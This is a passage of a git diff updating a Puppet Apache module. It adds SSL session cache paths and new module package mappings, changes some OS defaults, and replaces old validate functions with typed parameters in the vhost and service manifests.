+ target => $::apache::ports_file,
+ content => template('apache/namevirtualhost.erb'),
}
}
diff --git a/modules/services/unix/http/apache/manifests/params.pp b/modules/services/unix/http/apache/manifests/params.pp
index b84a2a1da..a74bbaf48 100644
--- a/modules/services/unix/http/apache/manifests/params.pp
+++ b/modules/services/unix/http/apache/manifests/params.pp
@@ -74,7 +74,6 @@ class apache::params inherits ::apache::version {
$vhost_dir = "${httpd_dir}/conf.d"
$vhost_enable_dir = undef
$conf_file = 'httpd.conf'
- $ssl_file = "${confd_dir}/ssl.conf"
$ports_file = "${conf_dir}/ports.conf"
$pidfile = 'run/httpd.pid'
$logroot = '/var/log/httpd'
@@ -85,6 +84,7 @@ class apache::params inherits ::apache::version {
$default_ssl_cert = '/etc/pki/tls/certs/localhost.crt'
$default_ssl_key = '/etc/pki/tls/private/localhost.key'
$ssl_certs_dir = '/etc/pki/tls/certs'
+ $ssl_sessioncache = '/var/cache/mod_ssl/scache(512000)'
$passenger_conf_file = 'passenger_extra.conf'
$passenger_conf_package_file = 'passenger.conf'
$passenger_root = undef
@@ -96,52 +96,56 @@ class apache::params inherits ::apache::version {
$php_version = '5'
$mod_packages = {
# NOTE: The auth_cas module isn't available on RH/CentOS without providing dependency packages provided by EPEL.
- 'auth_cas' => 'mod_auth_cas',
- 'auth_kerb' => 'mod_auth_kerb',
- 'auth_mellon' => 'mod_auth_mellon',
- 'authnz_ldap' => $::apache::version::distrelease ? {
+ 'auth_cas' => 'mod_auth_cas',
+ 'auth_kerb' => 'mod_auth_kerb',
+ 'auth_mellon' => 'mod_auth_mellon',
+ 'authnz_ldap' => $::apache::version::distrelease ? {
'7' => 'mod_ldap',
default => 'mod_authz_ldap',
},
- 'fastcgi' => 'mod_fastcgi',
- 'fcgid' => 'mod_fcgid',
- 'geoip' => 'mod_geoip',
- 'ldap' => $::apache::version::distrelease ? {
+ 'authnz_pam' => 'mod_authnz_pam',
+ 'fastcgi' => 'mod_fastcgi',
+ 'fcgid' => 'mod_fcgid',
+ 'geoip' => 'mod_geoip',
+ 'intercept_form_submit' => 'mod_intercept_form_submit',
+ 'ldap' => $::apache::version::distrelease ? {
'7' => 'mod_ldap',
default => undef,
},
- 'pagespeed' => 'mod-pagespeed-stable',
+ 'lookup_identity' => 'mod_lookup_identity',
+ 'pagespeed' => 'mod-pagespeed-stable',
# NOTE: The passenger module isn't available on RH/CentOS without
# providing dependency packages provided by EPEL and passenger
# repositories. See
# https://www.phusionpassenger.com/library/install/apache/install/oss/el7/
- 'passenger' => 'mod_passenger',
- 'perl' => 'mod_perl',
- 'php5' => $::apache::version::distrelease ? {
+ 'passenger' => 'mod_passenger',
+ 'perl' => 'mod_perl',
+ 'php5' => $::apache::version::distrelease ? {
'5' => 'php53',
default => 'php',
},
- 'phpXXX' => 'php',
- 'proxy_html' => 'mod_proxy_html',
- 'python' => 'mod_python',
- 'security' => 'mod_security',
+ 'phpXXX' => 'php',
+ 'proxy_html' => 'mod_proxy_html',
+ 'python' => 'mod_python',
+ 'security' => 'mod_security',
# NOTE: The module for Shibboleth is not available on RH/CentOS without
# providing dependency packages provided by Shibboleth's repositories.
# See http://wiki.aaf.edu.au/tech-info/sp-install-guide
- 'shibboleth' => 'shibboleth',
- 'ssl' => 'mod_ssl',
- 'wsgi' => 'mod_wsgi',
- 'dav_svn' => 'mod_dav_svn',
- 'suphp' => 'mod_suphp',
- 'xsendfile' => 'mod_xsendfile',
- 'nss' => 'mod_nss',
- 'shib2' => 'shibboleth',
+ 'shibboleth' => 'shibboleth',
+ 'ssl' => 'mod_ssl',
+ 'wsgi' => 'mod_wsgi',
+ 'dav_svn' => 'mod_dav_svn',
+ 'suphp' => 'mod_suphp',
+ 'xsendfile' => 'mod_xsendfile',
+ 'nss' => 'mod_nss',
+ 'shib2' => 'shibboleth',
}
$mod_libs = {
'nss' => 'libmodnss.so',
}
$conf_template = 'apache/httpd.conf.erb'
- $keepalive = 'Off'
+ $http_protocol_options = undef
+ $keepalive = 'On'
$keepalive_timeout = 15
$max_keepalive_requests = 100
$fastcgi_lib_path = undef
@@ -211,47 +215,74 @@ class apache::params inherits ::apache::version {
$vhost_dir = "${httpd_dir}/sites-available"
$vhost_enable_dir = "${httpd_dir}/sites-enabled"
$conf_file = 'apache2.conf'
- $ssl_file = "${mod_dir}/ssl.conf"
$ports_file = "${conf_dir}/ports.conf"
$pidfile = "\${APACHE_PID_FILE}"
$logroot = '/var/log/apache2'
$logroot_mode = undef
$lib_path = '/usr/lib/apache2/modules'
- $mpm_module = 'prefork'
+ $mpm_module = 'worker'
$default_ssl_cert = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
$default_ssl_key = '/etc/ssl/private/ssl-cert-snakeoil.key'
$ssl_certs_dir = '/etc/ssl/certs'
+ $ssl_sessioncache = "\${APACHE_RUN_DIR}/ssl_scache(512000)"
$suphp_addhandler = 'x-httpd-php'
$suphp_engine = 'off'
$suphp_configpath = '/etc/php5/apache2'
if ($::operatingsystem == 'Ubuntu' and versioncmp($::operatingsystemrelease, '16.04') < 0) or ($::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '9') < 0) {
# Only the major version is used here
$php_version = '5'
+ $mod_packages = {
+ 'auth_cas' => 'libapache2-mod-auth-cas',
+ 'auth_kerb' => 'libapache2-mod-auth-kerb',
+ 'auth_mellon' => 'libapache2-mod-auth-mellon',
+ 'authnz_pam' => 'libapache2-mod-authnz-pam',
+ 'dav_svn' => 'libapache2-svn',
+ 'fastcgi' => 'libapache2-mod-fastcgi',
+ 'fcgid' => 'libapache2-mod-fcgid',
+ 'geoip' => 'libapache2-mod-geoip',
+ 'intercept_form_submit' => 'libapache2-mod-intercept-form-submit',
+ 'lookup_identity' => 'libapache2-mod-lookup-identity',
+ 'nss' => 'libapache2-mod-nss',
+ 'pagespeed' => 'mod-pagespeed-stable',
+ 'passenger' => 'libapache2-mod-passenger',
+ 'perl' => 'libapache2-mod-perl2',
+ 'phpXXX' => 'libapache2-mod-phpXXX',
+ 'proxy_html' => 'libapache2-mod-proxy-html',
+ 'python' => 'libapache2-mod-python',
+ 'rpaf' => 'libapache2-mod-rpaf',
+ 'security' => 'libapache2-modsecurity',
+ 'shib2' => 'libapache2-mod-shib2',
+ 'suphp' => 'libapache2-mod-suphp',
+ 'wsgi' => 'libapache2-mod-wsgi',
+ 'xsendfile' => 'libapache2-mod-xsendfile',
+ }
} else {
# major.minor version used since Debian stretch and Ubuntu Xenial
$php_version = '7.0'
- }
- $mod_packages = {
- 'auth_cas' => 'libapache2-mod-auth-cas',
- 'auth_kerb' => 'libapache2-mod-auth-kerb',
- 'auth_mellon' => 'libapache2-mod-auth-mellon',
- 'dav_svn' => 'libapache2-svn',
- 'fastcgi' => 'libapache2-mod-fastcgi',
- 'fcgid' => 'libapache2-mod-fcgid',
- 'geoip' => 'libapache2-mod-geoip',
- 'nss' => 'libapache2-mod-nss',
- 'pagespeed' => 'mod-pagespeed-stable',
- 'passenger' => 'libapache2-mod-passenger',
- 'perl' => 'libapache2-mod-perl2',
- 'phpXXX' => 'libapache2-mod-phpXXX',
- 'proxy_html' => 'libapache2-mod-proxy-html',
- 'python' => 'libapache2-mod-python',
- 'rpaf' => 'libapache2-mod-rpaf',
- 'security' => 'libapache2-modsecurity',
- 'shib2' => 'libapache2-mod-shib2',
- 'suphp' => 'libapache2-mod-suphp',
- 'wsgi' => 'libapache2-mod-wsgi',
- 'xsendfile' => 'libapache2-mod-xsendfile',
+ $mod_packages = {
+ 'auth_cas' => 'libapache2-mod-auth-cas',
+ 'auth_kerb' => 'libapache2-mod-auth-kerb',
+ 'auth_mellon' => 'libapache2-mod-auth-mellon',
+ 'authnz_pam' => 'libapache2-mod-authnz-pam',
+ 'dav_svn' => 'libapache2-svn',
+ 'fastcgi' => 'libapache2-mod-fastcgi',
+ 'fcgid' => 'libapache2-mod-fcgid',
+ 'geoip' => 'libapache2-mod-geoip',
+ 'intercept_form_submit' => 'libapache2-mod-intercept-form-submit',
+ 'lookup_identity' => 'libapache2-mod-lookup-identity',
+ 'nss' => 'libapache2-mod-nss',
+ 'pagespeed' => 'mod-pagespeed-stable',
+ 'passenger' => 'libapache2-mod-passenger',
+ 'perl' => 'libapache2-mod-perl2',
+ 'phpXXX' => 'libapache2-mod-phpXXX',
+ 'python' => 'libapache2-mod-python',
+ 'rpaf' => 'libapache2-mod-rpaf',
+ 'security' => 'libapache2-modsecurity',
+ 'shib2' => 'libapache2-mod-shib2',
+ 'suphp' => 'libapache2-mod-suphp',
+ 'wsgi' => 'libapache2-mod-wsgi',
+ 'xsendfile' => 'libapache2-mod-xsendfile',
+ }
}
$error_log = 'error.log'
$scriptalias = '/usr/lib/cgi-bin'
@@ -265,6 +296,7 @@ class apache::params inherits ::apache::version {
'shib2' => $shib2_lib,
}
$conf_template = 'apache/httpd.conf.erb'
+ $http_protocol_options = undef
$keepalive = 'Off'
$keepalive_timeout = 15
$max_keepalive_requests = 100
@@ -348,7 +380,6 @@ class apache::params inherits ::apache::version {
$vhost_dir = "${httpd_dir}/Vhosts"
$vhost_enable_dir = undef
$conf_file = 'httpd.conf'
- $ssl_file = "${mod_dir}/ssl.conf"
$ports_file = "${conf_dir}/ports.conf"
$pidfile = '/var/run/httpd.pid'
$logroot = '/var/log/apache24'
@@ -359,6 +390,7 @@ class apache::params inherits ::apache::version {
$default_ssl_cert = '/usr/local/etc/apache24/server.crt'
$default_ssl_key = '/usr/local/etc/apache24/server.key'
$ssl_certs_dir = undef
+ $ssl_sessioncache = '/var/run/ssl_scache(512000)'
$passenger_conf_file = 'passenger.conf'
$passenger_conf_package_file = undef
$passenger_root = '/usr/local/lib/ruby/gems/2.0/gems/passenger-4.0.58'
@@ -390,6 +422,7 @@ class apache::params inherits ::apache::version {
$mod_libs = {
}
$conf_template = 'apache/httpd.conf.erb'
+ $http_protocol_options = undef
$keepalive = 'Off'
$keepalive_timeout = 15
$max_keepalive_requests = 100
@@ -418,7 +451,6 @@ class apache::params inherits ::apache::version {
$vhost_dir = "${httpd_dir}/vhosts.d"
$vhost_enable_dir = undef
$conf_file = 'httpd.conf'
- $ssl_file = "${mod_dir}/ssl.conf"
$ports_file = "${conf_dir}/ports.conf"
$logroot = '/var/log/apache2'
$logroot_mode = undef
@@ -428,6 +460,7 @@ class apache::params inherits ::apache::version {
$default_ssl_cert = '/etc/ssl/apache2/server.crt'
$default_ssl_key = '/etc/ssl/apache2/server.key'
$ssl_certs_dir = '/etc/ssl/apache2'
+ $ssl_sessioncache = '/var/run/ssl_scache(512000)'
$passenger_root = '/usr'
$passenger_ruby = '/usr/bin/ruby'
$passenger_conf_file = 'passenger.conf'
@@ -457,6 +490,7 @@ class apache::params inherits ::apache::version {
$mod_libs = {
}
$conf_template = 'apache/httpd.conf.erb'
+ $http_protocol_options = undef
$keepalive = 'Off'
$keepalive_timeout = 15
$max_keepalive_requests = 100
@@ -473,7 +507,7 @@ class apache::params inherits ::apache::version {
$access_log_file = 'access.log'
} elsif $::osfamily == 'Suse' {
$user = 'wwwrun'
- $group = 'wwwrun'
+ $group = 'www'
$root_group = 'root'
$apache_name = 'apache2'
$service_name = 'apache2'
@@ -486,7 +520,6 @@ class apache::params inherits ::apache::version {
$vhost_dir = "${httpd_dir}/sites-available"
$vhost_enable_dir = "${httpd_dir}/sites-enabled"
$conf_file = 'httpd.conf'
- $ssl_file = "${mod_dir}/ssl.conf"
$ports_file = "${conf_dir}/ports.conf"
$pidfile = '/var/run/httpd2.pid'
$logroot = '/var/log/apache2'
@@ -496,6 +529,7 @@ class apache::params inherits ::apache::version {
$default_ssl_cert = '/etc/apache2/ssl.crt/server.crt'
$default_ssl_key = '/etc/apache2/ssl.key/server.key'
$ssl_certs_dir = '/etc/ssl/certs'
+ $ssl_sessioncache = '/var/lib/apache2/ssl_scache(512000)'
$suphp_addhandler = 'x-httpd-php'
$suphp_engine = 'off'
$suphp_configpath = '/etc/php5/apache2'
@@ -523,6 +557,7 @@ class apache::params inherits ::apache::version {
'php53' => '/usr/lib64/apache2/mod_php5.so',
}
$conf_template = 'apache/httpd.conf.erb'
+ $http_protocol_options = undef
$keepalive = 'Off'
$keepalive_timeout = 15
$max_keepalive_requests = 100
diff --git a/modules/services/unix/http/apache/manifests/service.pp b/modules/services/unix/http/apache/manifests/service.pp
index f90097d0b..ff082dccb 100644
--- a/modules/services/unix/http/apache/manifests/service.pp
+++ b/modules/services/unix/http/apache/manifests/service.pp
@@ -17,19 +17,17 @@
#
#
class apache::service (
- $service_name = $::apache::params::service_name,
- $service_enable = true,
- $service_ensure = 'running',
- $service_manage = true,
- $service_restart = undef
+ $service_name = $::apache::params::service_name,
+ Boolean $service_enable = true,
+ $service_ensure = 'running',
+ Boolean $service_manage = true,
+ $service_restart = undef
) {
+
# The base class must be included first because parameter defaults depend on it
if ! defined(Class['apache::params']) {
fail('You must include the apache::params class before using any apache defined resources')
}
- validate_bool($service_enable)
- validate_bool($service_manage)
-
case $service_ensure {
true, false, 'running', 'stopped': {
$_service_ensure = $service_ensure
diff --git a/modules/services/unix/http/apache/manifests/vhost.pp b/modules/services/unix/http/apache/manifests/vhost.pp
index f6c6f5c26..98bbfcb57 100644
--- a/modules/services/unix/http/apache/manifests/vhost.pp
+++ b/modules/services/unix/http/apache/manifests/vhost.pp
@@ -1,176 +1,181 @@
# See README.md for usage information
define apache::vhost(
- $docroot,
- $manage_docroot = true,
- $virtual_docroot = false,
- $port = undef,
- $ip = undef,
- $ip_based = false,
- $add_listen = true,
- $docroot_owner = 'root',
- $docroot_group = $::apache::params::root_group,
- $docroot_mode = undef,
- $serveradmin = undef,
- $ssl = false,
- $ssl_cert = $::apache::default_ssl_cert,
- $ssl_key = $::apache::default_ssl_key,
- $ssl_chain = $::apache::default_ssl_chain,
- $ssl_ca = $::apache::default_ssl_ca,
- $ssl_crl_path = $::apache::default_ssl_crl_path,
- $ssl_crl = $::apache::default_ssl_crl,
- $ssl_crl_check = $::apache::default_ssl_crl_check,
- $ssl_certs_dir = $::apache::params::ssl_certs_dir,
- $ssl_protocol = undef,
- $ssl_cipher = undef,
- $ssl_honorcipherorder = undef,
- $ssl_verify_client = undef,
- $ssl_verify_depth = undef,
- $ssl_proxy_verify = undef,
- $ssl_proxy_check_peer_cn = undef,
- $ssl_proxy_check_peer_name = undef,
- $ssl_proxy_check_peer_expire = undef,
- $ssl_proxy_machine_cert = undef,
- $ssl_proxy_protocol = undef,
- $ssl_options = undef,
- $ssl_openssl_conf_cmd = undef,
- $ssl_proxyengine = false,
- $ssl_stapling = undef,
- $ssl_stapling_timeout = undef,
- $ssl_stapling_return_errors = undef,
- $priority = undef,
- $default_vhost = false,
- $servername = $name,
- $serveraliases = [],
- $options = ['Indexes','FollowSymLinks','MultiViews'],
- $override = ['All'],
- $directoryindex = '',
- $vhost_name = '*',
- $logroot = $::apache::logroot,
- $logroot_ensure = 'directory',
- $logroot_mode = undef,
- $logroot_owner = undef,
- $logroot_group = undef,
- $log_level = undef,
- $access_log = true,
- $access_log_file = false,
- $access_log_pipe = false,
- $access_log_syslog = false,
- $access_log_format = false,
- $access_log_env_var = false,
- $access_logs = undef,
- $aliases = undef,
- $directories = undef,
- $error_log = true,
- $error_log_file = undef,
- $error_log_pipe = undef,
- $error_log_syslog = undef,
- $modsec_audit_log = undef,
- $modsec_audit_log_file = undef,
- $modsec_audit_log_pipe = undef,
- $error_documents = [],
- $fallbackresource = undef,
- $scriptalias = undef,
- $scriptaliases = [],
- $proxy_dest = undef,
- $proxy_dest_match = undef,
- $proxy_dest_reverse_match = undef,
- $proxy_pass = undef,
- $proxy_pass_match = undef,
- $suphp_addhandler = $::apache::params::suphp_addhandler,
- $suphp_engine = $::apache::params::suphp_engine,
- $suphp_configpath = $::apache::params::suphp_configpath,
- $php_flags = {},
- $php_values = {},
- $php_admin_flags = {},
- $php_admin_values = {},
- $no_proxy_uris = [],
- $no_proxy_uris_match = [],
- $proxy_preserve_host = false,
- $proxy_add_headers = undef,
- $proxy_error_override = false,
- $redirect_source = '/',
- $redirect_dest = undef,
- $redirect_status = undef,
- $redirectmatch_status = undef,
- $redirectmatch_regexp = undef,
- $redirectmatch_dest = undef,
- $rack_base_uris = undef,
- $passenger_base_uris = undef,
- $headers = undef,
- $request_headers = undef,
- $filters = undef,
- $rewrites = undef,
- $rewrite_base = undef,
- $rewrite_rule = undef,
- $rewrite_cond = undef,
- $rewrite_inherit = false,
- $setenv = [],
- $setenvif = [],
- $setenvifnocase = [],
- $block = [],
- $ensure = 'present',
- $wsgi_application_group = undef,
- $wsgi_daemon_process = undef,
- $wsgi_daemon_process_options = undef,
- $wsgi_import_script = undef,
- $wsgi_import_script_options = undef,
- $wsgi_process_group = undef,
- $wsgi_script_aliases_match = undef,
- $wsgi_script_aliases = undef,
- $wsgi_pass_authorization = undef,
- $wsgi_chunked_request = undef,
- $custom_fragment = undef,
- $itk = undef,
- $action = undef,
- $fastcgi_server = undef,
- $fastcgi_socket = undef,
- $fastcgi_dir = undef,
- $fastcgi_idle_timeout = undef,
- $additional_includes = [],
- $use_optional_includes = $::apache::use_optional_includes,
- $apache_version = $::apache::apache_version,
- $allow_encoded_slashes = undef,
- $suexec_user_group = undef,
- $passenger_app_root = undef,
- $passenger_app_env = undef,
- $passenger_ruby = undef,
- $passenger_min_instances = undef,
- $passenger_start_timeout = undef,
- $passenger_pre_start = undef,
- $passenger_user = undef,
- $passenger_high_performance = undef,
- $passenger_nodejs = undef,
- $passenger_sticky_sessions = undef,
- $passenger_startup_file = undef,
- $add_default_charset = undef,
- $modsec_disable_vhost = undef,
- $modsec_disable_ids = undef,
- $modsec_disable_ips = undef,
- $modsec_disable_msgs = undef,
- $modsec_disable_tags = undef,
- $modsec_body_limit = undef,
- $jk_mounts = undef,
- $auth_kerb = false,
- $krb_method_negotiate = 'on',
- $krb_method_k5passwd = 'on',
- $krb_authoritative = 'on',
- $krb_auth_realms = [],
- $krb_5keytab = undef,
- $krb_local_user_mapping = undef,
- $krb_verify_kdc = 'on',
- $krb_servicename = 'HTTP',
- $krb_save_credentials = 'off',
- $keepalive = undef,
- $keepalive_timeout = undef,
- $max_keepalive_requests = undef,
- $cas_attribute_prefix = undef,
- $cas_attribute_delimiter = undef,
- $cas_scrub_request_headers = undef,
- $cas_sso_enabled = undef,
- $cas_login_url = undef,
- $cas_validate_url = undef,
- $cas_validate_saml = undef,
+ Variant[Boolean,String] $docroot,
+ $manage_docroot = true,
+ $virtual_docroot = false,
+ $port = undef,
+ $ip = undef,
+ Boolean $ip_based = false,
+ $add_listen = true,
+ $docroot_owner = 'root',
+ $docroot_group = $::apache::params::root_group,
+ $docroot_mode = undef,
+ $serveradmin = undef,
+ Boolean $ssl = false,
+ $ssl_cert = $::apache::default_ssl_cert,
+ $ssl_key = $::apache::default_ssl_key,
+ $ssl_chain = $::apache::default_ssl_chain,
+ $ssl_ca = $::apache::default_ssl_ca,
+ $ssl_crl_path = $::apache::default_ssl_crl_path,
+ $ssl_crl = $::apache::default_ssl_crl,
+ $ssl_crl_check = $::apache::default_ssl_crl_check,
+ $ssl_certs_dir = $::apache::params::ssl_certs_dir,
+ $ssl_protocol = undef,
+ $ssl_cipher = undef,
+ $ssl_honorcipherorder = undef,
+ $ssl_verify_client = undef,
+ $ssl_verify_depth = undef,
+ Optional[Enum['none', 'optional', 'require', 'optional_no_ca']] $ssl_proxy_verify = undef,
+ $ssl_proxy_verify_depth = undef,
+ $ssl_proxy_ca_cert = undef,
+ Optional[Enum['on', 'off']] $ssl_proxy_check_peer_cn = undef,
+ Optional[Enum['on', 'off']] $ssl_proxy_check_peer_name = undef,
+ Optional[Enum['on', 'off']] $ssl_proxy_check_peer_expire = undef,
+ $ssl_proxy_machine_cert = undef,
+ $ssl_proxy_protocol = undef,
+ $ssl_options = undef,
+ $ssl_openssl_conf_cmd = undef,
+ Boolean $ssl_proxyengine = false,
+ Optional[Boolean] $ssl_stapling = undef,
+ $ssl_stapling_timeout = undef,
+ $ssl_stapling_return_errors = undef,
+ $priority = undef,
+ Boolean $default_vhost = false,
+ $servername = $name,
+ $serveraliases = [],
+ $options = ['Indexes','FollowSymLinks','MultiViews'],
+ $override = ['None'],
+ $directoryindex = '',
+ $vhost_name = '*',
+ $logroot = $::apache::logroot,
+ Enum['directory', 'absent'] $logroot_ensure = 'directory',
+ $logroot_mode = undef,
+ $logroot_owner = undef,
+ $logroot_group = undef,
+ $log_level = undef,
+ Boolean $access_log = true,
+ $access_log_file = false,
+ $access_log_pipe = false,
+ $access_log_syslog = false,
+ $access_log_format = false,
+ $access_log_env_var = false,
+ $access_logs = undef,
+ $aliases = undef,
+ $directories = undef,
+ Boolean $error_log = true,
+ $error_log_file = undef,
+ $error_log_pipe = undef,
+ $error_log_syslog = undef,
+ $http_protocol_options = undef,
+ $modsec_audit_log = undef,
+ $modsec_audit_log_file = undef,
+ $modsec_audit_log_pipe = undef,
+ $error_documents = [],
+ Optional[Variant[Stdlib::Absolutepath, Enum['disabled']]] $fallbackresource = undef,
+ $scriptalias = undef,
+ $scriptaliases = [],
+ $proxy_dest = undef,
+ $proxy_dest_match = undef,
+ $proxy_dest_reverse_match = undef,
+ $proxy_pass = undef,
+ $proxy_pass_match = undef,
+ $suphp_addhandler = $::apache::params::suphp_addhandler,
+ Enum['on', 'off'] $suphp_engine = $::apache::params::suphp_engine,
+ $suphp_configpath = $::apache::params::suphp_configpath,
+ $php_flags = {},
+ $php_values = {},
+ $php_admin_flags = {},
+ $php_admin_values = {},
+ $no_proxy_uris = [],
+ $no_proxy_uris_match = [],
+ $proxy_preserve_host = false,
+ $proxy_add_headers = undef,
+ $proxy_error_override = false,
+ $redirect_source = '/',
+ $redirect_dest = undef,
+ $redirect_status = undef,
+ $redirectmatch_status = undef,
+ $redirectmatch_regexp = undef,
+ $redirectmatch_dest = undef,
+ $rack_base_uris = undef,
+ $passenger_base_uris = undef,
+ $headers = undef,
+ $request_headers = undef,
+ $filters = undef,
+ Optional[Array] $rewrites = undef,
+ $rewrite_base = undef,
+ $rewrite_rule = undef,
+ $rewrite_cond = undef,
+ $rewrite_inherit = false,
+ $setenv = [],
+ $setenvif = [],
+ $setenvifnocase = [],
+ $block = [],
+ Enum['absent', 'present'] $ensure = 'present',
+ $wsgi_application_group = undef,
+ $wsgi_daemon_process = undef,
+ Optional[Hash] $wsgi_daemon_process_options = undef,
+ $wsgi_import_script = undef,
+ Optional[Hash] $wsgi_import_script_options = undef,
+ $wsgi_process_group = undef,
+ Optional[Hash] $wsgi_script_aliases_match = undef,
+ Optional[Hash] $wsgi_script_aliases = undef,
+ Optional[Enum['on', 'off', 'On', 'Off']] $wsgi_pass_authorization = undef,
+ $wsgi_chunked_request = undef,
+ Optional[String] $custom_fragment = undef,
+ Optional[Hash] $itk = undef,
+ $action = undef,
+ $fastcgi_server = undef,
+ $fastcgi_socket = undef,
+ $fastcgi_dir = undef,
+ $fastcgi_idle_timeout = undef,
+ $additional_includes = [],
+ $use_optional_includes = $::apache::use_optional_includes,
+ $apache_version = $::apache::apache_version,
+ Optional[Enum['on', 'off', 'nodecode']] $allow_encoded_slashes = undef,
+ $suexec_user_group = undef,
+ $passenger_app_root = undef,
+ $passenger_app_env = undef,
+ $passenger_ruby = undef,
+ $passenger_min_instances = undef,
+ $passenger_max_requests = undef,
+ $passenger_start_timeout = undef,
+ $passenger_pre_start = undef,
+ $passenger_user = undef,
+ $passenger_high_performance = undef,
+ $passenger_nodejs = undef,
+ Optional[Boolean] $passenger_sticky_sessions = undef,
+ $passenger_startup_file = undef,
+ $add_default_charset = undef,
+ $modsec_disable_vhost = undef,
+ $modsec_disable_ids = undef,
+ $modsec_disable_ips = undef,
+ $modsec_disable_msgs = undef,
+ $modsec_disable_tags = undef,
+ $modsec_body_limit = undef,
+ $jk_mounts = undef,
+ Boolean $auth_kerb = false,
+ $krb_method_negotiate = 'on',
+ $krb_method_k5passwd = 'on',
+ $krb_authoritative = 'on',
+ $krb_auth_realms = [],
+ $krb_5keytab = undef,
+ $krb_local_user_mapping = undef,
+ $krb_verify_kdc = 'on',
+ $krb_servicename = 'HTTP',
+ $krb_save_credentials = 'off',
+ Optional[Enum['on', 'off']] $keepalive = undef,
+ $keepalive_timeout = undef,
+ $max_keepalive_requests = undef,
+ $cas_attribute_prefix = undef,
+ $cas_attribute_delimiter = undef,
+ $cas_scrub_request_headers = undef,
+ $cas_sso_enabled = undef,
+ $cas_login_url = undef,
+ $cas_validate_url = undef,
+ $cas_validate_saml = undef,
) {
+
# The base class must be included first because it is used by parameter defaults
if ! defined(Class['apache']) {
fail('You must include the apache base class before using any apache defined resources')
@@ -178,26 +183,14 @@ define apache::vhost(
$apache_name = $::apache::apache_name
- validate_re($ensure, '^(present|absent)$',
- "${ensure} is not supported for ensure.
- Allowed values are 'present' and 'absent'.")
- validate_re($suphp_engine, '^(on|off)$',
- "${suphp_engine} is not supported for suphp_engine.
- Allowed values are 'on' and 'off'.")
- validate_bool($ip_based)
- validate_bool($access_log)
- validate_bool($error_log)
- if $modsec_audit_log != undef {
- validate_bool($modsec_audit_log)
- }
- validate_bool($ssl)
- validate_bool($default_vhost)
- validate_bool($ssl_proxyengine)
- if $ssl_stapling != undef {
- validate_bool($ssl_stapling)
+ if $http_protocol_options != undef {
+ validate_re($http_protocol_options, '^((Strict|Unsafe)?\s*(\b(RegisteredMethods|LenientMethods))?\s*(\b(Allow0\.9|Require1\.0))?)$',
+ "${http_protocol_options} is not supported for http_protocol_options.
+ Allowed value is any sequence of the following alternative values:
+ 'Strict' or Unsafe, 'RegisteredMethods' or 'LenientMethods', and
+ 'Allow0.9' or 'Require1.0'.")
}
if $rewrites {
- validate_array($rewrites)
unless empty($rewrites) {
$rewrites_flattened = delete_undef_values(flatten([$rewrites]))
validate_hash($rewrites_flattened[0])
@@ -211,49 +204,6 @@ define apache::vhost(
"${suexec_user_group} is not supported for suexec_user_group. Must be 'user group'.")
}
- if $wsgi_pass_authorization {
- validate_re(downcase($wsgi_pass_authorization), '^(on|off)$',
- "${wsgi_pass_authorization} is not supported for wsgi_pass_authorization.
- Allowed values are 'on' and 'off'.")
- }
-
- if $wsgi_chunked_request {
- validate_re(downcase($wsgi_chunked_request), '^(on|off)$',
- "${wsgi_chunked_request} is not supported for wsgi_chunked_request.
- Allowed values are 'on' and 'off'.")
- }
-
- # Deprecated backwards-compatibility
- if $rewrite_base {
- warning('Apache::Vhost: parameter rewrite_base is deprecated in favor of rewrites')
- }
- if $rewrite_rule {
- warning('Apache::Vhost: parameter rewrite_rule is deprecated in favor of rewrites')
- }
- if $rewrite_cond {
- warning('Apache::Vhost parameter rewrite_cond is deprecated in favor of rewrites')
- }
-
- if $wsgi_script_aliases {
- validate_hash($wsgi_script_aliases)
- }
- if $wsgi_script_aliases_match {
- validate_hash($wsgi_script_aliases_match)
- }
- if $wsgi_daemon_process_options {
- validate_hash($wsgi_daemon_process_options)
- }
- if $wsgi_import_script_options {
- validate_hash($wsgi_import_script_options)
- }
- if $itk {
- validate_hash($itk)
- }
-
- validate_re($logroot_ensure, '^(directory|absent)$',
- "${logroot_ensure} is not supported for logroot_ensure.
- Allowed values are 'directory' and 'absent'.")
-
if $log_level {
validate_apache_log_level($log_level)
}
@@ -270,47 +220,8 @@ define apache::vhost(
fail("Apache::Vhost[${name}]: 'modsec_audit_log_file' and 'modsec_audit_log_pipe' cannot be defined at the same time")
}
- if $fallbackresource {
- validate_re($fallbackresource, '^/|disabled', 'Please make sure fallbackresource starts with a / (or is "disabled")')
- }
-
- if $custom_fragment {
- validate_string($custom_fragment)
- }
-
- if $allow_encoded_slashes {
- validate_re($allow_encoded_slashes, '(^on$|^off$|^nodecode$)', "${allow_encoded_slashes} is not permitted for allow_encoded_slashes. Allowed values are 'on', 'off' or 'nodecode'.")
- }
-
- validate_bool($auth_kerb)
-
- # Validate the docroot as a string if:
- # - $manage_docroot is true
- if $manage_docroot {
- validate_string($docroot)
- }
-
- if $ssl_proxy_verify {
- validate_re($ssl_proxy_verify,'^(none|optional|require|optional_no_ca)$',"${ssl_proxy_verify} is not permitted for ssl_proxy_verify. Allowed values are 'none', 'optional', 'require' or 'optional_no_ca'.")
- }
-
- if $ssl_proxy_check_peer_cn {
- validate_re($ssl_proxy_check_peer_cn,'(^on$|^off$)',"${ssl_proxy_check_peer_cn} is not permitted for ssl_proxy_check_peer_cn. Allowed values are 'on' or 'off'.")
- }
- if $ssl_proxy_check_peer_name {
- validate_re($ssl_proxy_check_peer_name,'(^on$|^off$)',"${ssl_proxy_check_peer_name} is not permitted for ssl_proxy_check_peer_name. Allowed values are 'on' or 'off'.")
- }
-
- if $ssl_proxy_check_peer_expire {
- validate_re($ssl_proxy_check_peer_expire,'(^on$|^off$)',"${ssl_proxy_check_peer_expire} is not permitted for ssl_proxy_check_peer_expire. Allowed values are 'on' or 'off'.")
- }
-
- if $keepalive {
- validate_re($keepalive,'(^on$|^off$)',"${keepalive} is not permitted for keepalive. Allowed values are 'on' or 'off'.")
- }
-
- if $passenger_sticky_sessions {
- validate_bool($passenger_sticky_sessions)
+ if $ssl_proxy_verify_depth {
+ validate_integer($ssl_proxy_verify_depth)
}
# Input validation ends
@@ -337,7 +248,7 @@ define apache::vhost(
include ::apache::mod::suexec
}
- if $passenger_app_root or $passenger_app_env or $passenger_ruby or $passenger_min_instances or $passenger_start_timeout or $passenger_pre_start or $passenger_user or $passenger_high_performance or $passenger_nodejs or $passenger_sticky_sessions or $passenger_startup_file {
